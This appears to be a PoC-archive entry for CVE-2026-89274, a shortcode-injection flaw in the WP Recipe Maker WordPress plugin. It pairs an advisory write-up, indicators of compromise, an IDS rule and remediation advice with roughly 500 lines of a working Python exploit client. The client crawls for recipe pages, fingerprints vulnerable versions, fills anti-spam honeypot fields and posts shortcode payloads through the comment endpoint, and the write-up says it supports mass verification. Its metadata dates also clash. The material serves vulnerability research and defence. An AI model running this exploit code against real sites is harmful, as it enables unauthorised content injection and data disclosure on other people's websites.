PoC Archive PoC Archive
CVE-2026-89274 category: web CVSS 9.1 (CRITICAL)
Patched

WP Recipe Maker Arbitrary Shortcode Execution via Approved Recipe Rating Comments (CVE-2026-89274)

Published: 2026-11-25 • Researcher: murrez (GitHub repo owner; commit author x99) — PoC; Wordfence Threat Intelligence (CNA / advisory)

Target software WP Recipe Maker plugin for WordPress (wp-recipe-maker)
Affected versions All versions up to and including 10.8.1; fixed in 10.8.2 (per the source repository and vendor advisory)
Status PoC — exploit path is implemented and verifiable, but limited: it requires the malicious comment to be approved before execution, and demonstrated impact is shortcode-output disclosure, not code execution
Severity Critical · CVSS 9.1
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-19
Author / Researchermurrez (GitHub repo owner; commit author x99) — PoC; Wordfence Threat Intelligence (CNA / advisory)
CVE / AdvisoryCVE-2026-89274
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusPoC — exploit path is implemented and verifiable, but limited: it requires the malicious comment to be approved before execution, and demonstrated impact is shortcode-output disclosure, not code execution
TagsWordPress, WP-Recipe-Maker, shortcode-injection, CWE-94, unauthenticated, plugin, JSON-LD, comment-approval, data-disclosure, Python
RelatedN/A

Affected Target

FieldValue
Software / SystemWP Recipe Maker plugin for WordPress (wp-recipe-maker)
Versions AffectedAll versions up to and including 10.8.1; fixed in 10.8.2 (per the source repository and vendor advisory)
Language / PlatformPHP (WordPress plugin); Python 3.9+ PoC client
Authentication RequiredNo — unauthenticated comment submission; the malicious comment must subsequently be approved (auto-approval or moderator action)
Network Access RequiredYes — HTTP/HTTPS to the WordPress site and a recipe page that loads the comment rating form

Summary

WP Recipe Maker, a popular WordPress recipe plugin, executes arbitrary registered shortcodes that an unauthenticated attacker plants in a recipe rating comment. The plugin’s metadata sanitizer runs WordPress shortcode processing over every scalar field of the recipe metadata array, including the review body field that is copied verbatim from the comment content of approved rating comments, before any shortcode stripping happens. Once the comment is approved, the injected shortcode runs server-side on every load of the recipe page, and its output is embedded in the page’s JSON-LD review body metadata and disclosed to all visitors. The public PoC checks plugin versions and recipe pages and then submits a rating comment carrying a shortcode payload, verifying the leak by searching the rendered JSON-LD.

Vulnerability Details

Root Cause

WPRM_Metadata::sanitize_metadata() recursively calls do_shortcode() on every scalar field of the recipe’s structured metadata array, including reviewBody, which is populated verbatim from the comment_content of approved wprm-comment-rating comments. Shortcode tokens are therefore executed before any sanitization: the later wp_strip_all_tags() and strip_shortcodes() calls only clean the already-rendered output string, so they cannot prevent server-side shortcode invocation. This is CWE-94 (Improper Control of Generation of Code).

Attack Vector

An unauthenticated attacker submits a comment to a post containing a WPRM recipe, including the wprm-comment-rating field and a shortcode payload in the comment body (for example a caption shortcode plus a unique marker). The built-in WordPress comment endpoint (/wp-comments-post.php) is used; the bundled PoC optionally also tries the premium user-rating REST route. The payload only executes after the comment passes the site’s approval threshold, then executes on every subsequent recipe page render.

Impact

Server-side execution of any registered shortcode, with the resulting output embedded in the JSON-LD reviewBody metadata of the recipe page. This can disclose content exposed by installed shortcodes (attachment captions, private post fields, or other shortcode-provided data) to all visitors. Impact is bounded by which shortcodes are registered on the target; the reference PoC uses harmless probes and confirms reflection only, and it does not demonstrate remote code execution, privilege escalation, or persistent access.

Environment / Lab Setup

Output
OS:          Linux (Docker or VM)
Target:      WordPress with WP Recipe Maker <= 10.8.1, a published recipe post,
             and the recipe comment rating form enabled; comments either
             auto-approved or approvable by a moderator account
Attacker:    Python 3.9+ with requests and urllib3 (see requirements.txt)
Tools:       curl, browser (to view page JSON-LD), Python 3

Setup Steps

Shell script
1
2
3
docker run -d --name wprm-lab -p 8080:80 wordpress:6-php8.2-apache

python3 -m pip install -r requirements.txt

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the target — check mode looks for the plugin’s enqueued asset version (?ver=10.8.1) and reports candidate, patched (>= 10.8.2), no_plugin, or plugin_no_recipe_comments. It also records candidate recipe pages, post IDs, and recipe IDs in candidates.jsonl.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:8080 --mode check
  2. Select a recipe page with a rating form — exploit mode re-verifies the version is not patched, discovers or uses the supplied recipe permalink, and parses the comment form context (post ID, recipe ID, rating field).

    Shell script
    1
    2
    
    python3 poc.py -u http://127.0.0.1:8080 --mode exploit \
      --recipe-url /recipe-post/ --shortcode "[caption]PROBE[/caption]" --verify
  3. Submit the payload comment — the PoC posts the shortcode plus a random marker (wprm89274_<8 chars>) as comment to /wp-comments-post.php, with a rating value and a generated author/email. If the comment lands in moderation, the result row reports pending_moderation.

  4. Approve the comment — as a moderator, approve the rating comment (this is the documented prerequisite for execution).

  5. Verify execution — fetch the recipe page again, extract every application/ld+json block, collect reviewBody strings, and confirm the marker/shortcode output appears there. Mass verification of prior submissions is supported via --mode verify with a submitted_mass.txt list.

    Shell script
    1
    2
    
    python3 poc.py -u http://127.0.0.1:8080 --mode verify \
      --recipe-url /recipe-post/ --marker wprm89274_ab12cd34

Exploit Code

See poc.py in this folder (the full upstream client) and upstream-README.md for usage. Dependencies are pinned in requirements.txt; sample target list in targets.example.txt.

The core of the exploit path (comment submission with the shortcode payload) is:

Python
1
2
3
4
5
6
7
8
9
data = {
    "comment": shortcode + " " + marker,      # payload in the comment body
    "author": author, "email": email, "url": "",
    "comment_post_ID": str(post_id), "comment_parent": "0",
    "submit": "Post Comment",
    "wprm-comment-rating": "5",               # populate reviewBody from the rating comment
}
post(session, base + "/wp-comments-post.php", data=data,
     headers={"Referer": page_url, "Origin": base})

Expected Output

Illustrative result row (field names from poc.py; values depend on the lab):

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "target": "http://127.0.0.1:8080",
  "version": "10.8.1",
  "ok": true,
  "exploited": true,
  "marker": "wprm89274_ab12cd34",
  "page_url": "http://127.0.0.1:8080/recipe-post/",
  "comment_submit": {"ok": true, "status_code": 302, "pending_moderation": false},
  "verify": {"ok": true,
             "leaked_review_body": "[caption]PROBE[/caption] wprm89274_ab12cd34"}
}

If the comment awaits moderation, the row instead reports "status": "pending_moderation" and exploited stays false until the comment is approved and re-verified.

Detection & Indicators of Compromise

  • New comments on recipe posts containing shortcode tokens ([caption], [gallery], [embed], or unknown bracket syntax), especially from free-mail domains or generated author names such as wprmprobe*.
  • Comments carrying wprm-comment-rating that contain bracketed tokens; legitimate ratings normally contain plain text only.
  • Recipe page JSON-LD reviewBody values that contain shortcode output, markers matching wprm89274_[a-z0-9]{8}, or content that normally does not appear in review text (captions, private post fields).
  • Repeated POSTs to /wp-comments-post.php to many posts from one client, or use of the /wp-json/wp-recipe-maker/v1/user-rating/<id> route with bracketed comment bodies.
  • Requests for the plugin asset with ?ver= values <= 10.8.1 while the page is being probed (--mode check behavior).

SIEM / IDS rule (example):

Output
1
2
3
4
5
alert http any any -> any any (msg:"CVE-2026-89274 WPRM shortcode injection via comment"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"/wp-comments-post.php"; http_uri; \
  content:"wprm-comment-rating"; http_client_body; \
  pcre:"/comment=[^&]*%5B[a-z0-9_-]+%5D/i"; sid:9089274;)

Remediation

ActionDetail
PatchUpgrade WP Recipe Maker to 10.8.2 or later (fixed version per the source repository); see the WordPress.org changeset and Wordfence advisory in References for the vendor build details.
WorkaroundDisable the recipe comment rating form if it is not needed, and hold all comments for moderation so no attacker-controlled comment is approved automatically; re-render/clear caches after the update so previously poisoned review bodies are removed.
Config HardeningKeep WordPress and all plugins current, restrict comment auto-approval, review existing approved rating comments for bracketed tokens, and audit which shortcodes are registered — impact scales with what installed plugins expose through shortcodes.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-89274 on 2026-11-25.

Review verdict: this is a genuine PoC with an exploit implementation, not a pure detector. The check mode is reconnaissance (plugin version + recipe page with a rating form), but exploit mode actually submits the shortcode payload through the comment endpoint and verify mode confirms execution by finding the marker in the page JSON-LD reviewBody. It was therefore ingested rather than skipped.

Limitations: successful exploitation depends on the malicious comment being approved by an auto-approval rule or a moderator, which the repository README states explicitly and which is inherent to the vulnerability. The achieved impact is server-side shortcode execution with output disclosed in structured data; the tool’s own README notes that --verify only confirms JSON-LD reflection, not full RCE, and that real impact depends on which other plugins/themes register exploitable shortcodes. Bulk runs against internet-wide target lists are out of scope for this archive; use only against systems you own or are authorized to test.

Files archived: poc.py (main exploit client), upstream-README.md, requirements.txt, targets.example.txt, and LICENSE. The upstream repository is MIT licensed (Copyright (c) 2026 CVE-2026-89274 PoC contributors); a research-only disclaimer header was added to poc.py. No exploit code was executed during ingestion.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-89274 (see README for attribution/license)
"""
CVE-2026-89274 - WP Recipe Maker <= 10.8.1
Unauthenticated arbitrary shortcode execution via approved recipe rating comments (reviewBody JSON-LD).
"""

from __future__ import annotations

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)

PLUGIN_SLUG = "wp-recipe-maker"
MAX_VULN_VERSION = (10, 8, 1)
WPRM_VER_RE = re.compile(
    r"/wp-content/plugins/wp-recipe-maker/[^\"'\s>]+\?(?:ver=)([0-9]+\.[0-9]+\.[0-9]+)",
    re.I,
)

DEFAULT_PATHS = (
    "/",
    "/blog/",
    "/recipes/",
    "/recipe/",
    "/rezept/",
    "/recept/",
    "/food/",
)

CRAWL_HINTS = (
    "recipe", "rezept", "recept", "food", "blog", "cook", "kitchen",
)

ARCHIVE_PATH_RE = re.compile(
    r"/(?:recipes?|blog|food|rezept|recept|cook|kitchen|rezepte)/?$",
    re.I,
)

print_lock = threading.Lock()


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=30, pool_maxsize=30)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def resolve_page_url(base, raw):
    if not raw:
        return None
    raw = raw.strip()
    if raw.startswith(("http://", "https://")):
        return raw
    if not raw.startswith("/"):
        raw = "/" + raw
    return base.rstrip("/") + raw


def parse_version_tuple(text):
    if not text:
        return None
    parts = []
    for x in str(text).split("."):
        try:
            parts.append(int(x))
        except ValueError:
            break
    return tuple(parts) if parts else None


def parse_version_header(text):
    if not text:
        return None
    m = re.search(r"Version:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        m = re.search(r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        return None
    return parse_version_tuple(m.group(1))


def parse_version_assets(html):
    if not html:
        return None
    cands = []
    for m in WPRM_VER_RE.finditer(html):
        v = parse_version_tuple(m.group(1))
        if v and v[0] >= 1:
            cands.append(v)
    return max(cands) if cands else None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def plugin_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return {
        "main": root + "/wp-recipe-maker.php",
        "readme": root + "/readme.txt",
    }


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "patched": False,
    }
    urls = plugin_urls(base)
    header = ""
    for key in ("main", "readme"):
        try:
            r = get(s, urls[key], timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if "wp recipe maker" in r.text.lower() or "wp-recipe-maker" in r.text.lower():
            out["plugin"] = True
            header = header or r.text
    ver = parse_version_header(header)
    if not ver:
        try:
            rh = get(s, base.rstrip("/") + "/", timeout=timeout)
            if rh.status_code == 200:
                if not out["plugin"] and PLUGIN_SLUG in rh.text.lower():
                    out["plugin"] = True
                ver = parse_version_assets(rh.text) or ver
        except requests.RequestException:
            pass
    if not ver and out["plugin"]:
        for path in DEFAULT_PATHS[:6]:
            try:
                rp = get(s, resolve_page_url(base, path), timeout=timeout)
            except requests.RequestException:
                continue
            if rp.status_code != 200:
                continue
            ver = parse_version_assets(rp.text)
            if ver:
                break
    if out["plugin"]:
        out["version"] = ".".join(str(x) for x in ver) if ver else None
        if ver:
            if version_le(ver, MAX_VULN_VERSION):
                out["vulnerable"] = True
            else:
                out["patched"] = True
        else:
            out["vulnerable"] = True
    return out


def has_wprm_recipe_page(html):
    if not html:
        return False
    low = html.lower()
    if "wprm-recipe" in low or "wprm_recipe" in low:
        return True
    if re.search(r'@type["\']?\s*:\s*["\']Recipe["\']', html, re.I):
        return True
    if re.search(r'data-recipe-id=["\']\d+["\']', html, re.I):
        return True
    return False


def parse_comment_context(html):
    if not html:
        return None
    post_id = None
    for pat in (
        r'name=["\']comment_post_ID["\'][^>]*value=["\'](\d+)["\']',
        r'value=["\'](\d+)["\'][^>]*name=["\']comment_post_ID["\']',
        r'id=["\']comment_post_ID["\'][^>]*value=["\'](\d+)["\']',
    ):
        m = re.search(pat, html, re.I)
        if m:
            post_id = int(m.group(1))
            break
    if not post_id:
        return None
    has_rating = "wprm-comment-rating" in html.lower()
    has_form = "commentform" in html.lower() or 'id="commentform"' in html.lower()
    if not has_form:
        return None
    recipe_id = None
    m = re.search(r'data-recipe-id=["\'](\d+)["\']', html, re.I)
    if m:
        recipe_id = int(m.group(1))
    m2 = re.search(r'\[wprm-recipe\s+id=["\']?(\d+)', html, re.I)
    if m2:
        recipe_id = int(m2.group(1))
    return {
        "post_id": post_id,
        "recipe_id": recipe_id,
        "comment_rating": has_rating,
    }


def expand_paths(s, base, paths, timeout, max_extra=20):
    out = []
    seen = set()
    for p in paths:
        if p not in seen:
            seen.add(p)
            out.append(p)
    try:
        r = get(s, base.rstrip("/") + "/", timeout=timeout)
    except requests.RequestException:
        return out
    if r.status_code != 200:
        return out
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        if not any(h in path.lower() for h in CRAWL_HINTS):
            continue
        if path not in seen:
            seen.add(path)
            out.append(path)
        if len(out) >= len(paths) + max_extra:
            break
    return out


def is_archive_recipe_url(url):
    path = (urlparse(url).path or "/").rstrip("/") or "/"
    if path in ("/", "/blog", "/recipes", "/recipe", "/food"):
        return True
    return bool(ARCHIVE_PATH_RE.search(path + "/"))


def score_recipe_page(entry):
    url = entry.get("page_url") or ""
    score = 0
    if entry.get("comment_rating"):
        score += 12
    if entry.get("recipe_id"):
        score += 4
    if is_archive_recipe_url(url):
        score -= 25
    else:
        score += 10
    segs = [x for x in urlparse(url).path.split("/") if x]
    score += min(len(segs), 6)
    return score


def links_from_listing_page(s, base, listing_url, timeout, limit=28):
    paths = []
    seen = set()
    try:
        r = get(s, listing_url, timeout=timeout)
    except requests.RequestException:
        return paths
    if r.status_code != 200:
        return paths
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        if is_archive_recipe_url(resolve_page_url(base, path)):
            continue
        if not any(h in path.lower() for h in CRAWL_HINTS):
            if len([x for x in path.split("/") if x]) < 2:
                continue
        if path in seen:
            continue
        seen.add(path)
        paths.append(path)
        if len(paths) >= limit:
            break
    return paths


def pick_exploit_page(s, base, paths, timeout, recipe_url, post_id, recipe_id, max_pages=32):
    extra_paths = list(paths or DEFAULT_PATHS)
    candidates = []

    if recipe_url and post_id:
        pu = resolve_page_url(base, recipe_url)
        if is_archive_recipe_url(pu):
            extra_paths = links_from_listing_page(s, base, pu, timeout) + extra_paths
        try:
            r = get(s, pu, timeout=timeout)
        except requests.RequestException:
            r = None
        if r is not None and r.status_code == 200 and has_wprm_recipe_page(r.text):
            ctx = parse_comment_context(r.text)
            if ctx:
                candidates.append({
                    "page_url": pu,
                    "post_id": ctx["post_id"],
                    "recipe_id": ctx.get("recipe_id") or recipe_id,
                    "comment_rating": ctx.get("comment_rating"),
                })

    seen_pairs = {(c["post_id"], c["page_url"]) for c in candidates}
    crawl_paths = extra_paths
    for path in crawl_paths:
        if len(seen_pairs) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if url in {x["page_url"] for x in candidates}:
            continue
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200 or not has_wprm_recipe_page(r.text):
            continue
        ctx = parse_comment_context(r.text)
        if not ctx:
            continue
        key = (ctx["post_id"], url)
        if key in seen_pairs:
            continue
        seen_pairs.add(key)
        candidates.append({
            "page_url": url,
            "post_id": ctx["post_id"],
            "recipe_id": ctx.get("recipe_id"),
            "comment_rating": ctx.get("comment_rating"),
        })

    if not candidates:
        discovered = discover_recipe_pages(s, base, tuple(extra_paths), timeout, max_pages=max_pages)
        candidates.extend(discovered)
    if not candidates:
        return None
    non_archive = [c for c in candidates if not is_archive_recipe_url(c["page_url"])]
    pool = non_archive if non_archive else candidates
    pool.sort(key=score_recipe_page, reverse=True)
    return pool[0]


def discover_recipe_pages(s, base, paths, timeout, max_pages=18):
    found = []
    seen = set()
    for path in expand_paths(s, base, paths, timeout):
        if len(seen) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if not url or url in seen:
            continue
        seen.add(url)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if not has_wprm_recipe_page(r.text):
            continue
        ctx = parse_comment_context(r.text)
        if not ctx:
            continue
        key = (ctx["post_id"], url)
        if key in {(x["post_id"], x["page_url"]) for x in found}:
            continue
        found.append({
            "page_url": url,
            "post_id": ctx["post_id"],
            "recipe_id": ctx.get("recipe_id"),
            "comment_rating": ctx.get("comment_rating"),
        })
    return found


def extract_hidden_comment_fields(html):
    fields = {}
    for m in re.finditer(r'<input[^>]+type=["\']hidden["\'][^>]*>', html, re.I):
        tag = m.group(0)
        nm = re.search(r'name=["\']([^"\']+)["\']', tag, re.I)
        val = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        if nm:
            fields[nm.group(1)] = val.group(1) if val else ""
    return fields


def submit_recipe_comment(s, base, page_url, post_id, author, email, comment, rating=5):
    try:
        r0 = get(s, page_url, timeout=s.request_timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": "fetch page: %s" % e}
    if r0.status_code != 200:
        return {"ok": False, "error": "page HTTP %d" % r0.status_code}

    hidden = extract_hidden_comment_fields(r0.text)
    data = {
        "comment": comment,
        "author": author,
        "email": email,
        "url": "",
        "comment_post_ID": str(post_id),
        "comment_parent": "0",
        "submit": "Post Comment",
        "ak_hp_textarea": "",
        "ak_js": "1",
    }
    if "wprm-comment-rating" in r0.text.lower():
        data["wprm-comment-rating"] = str(rating)
    data.update({k: v for k, v in hidden.items() if k not in data})

    action = base.rstrip("/") + "/wp-comments-post.php"
    headers = {"Referer": page_url, "Origin": base.rstrip("/")}
Showing 500 of 1113 lines View full file on GitHub →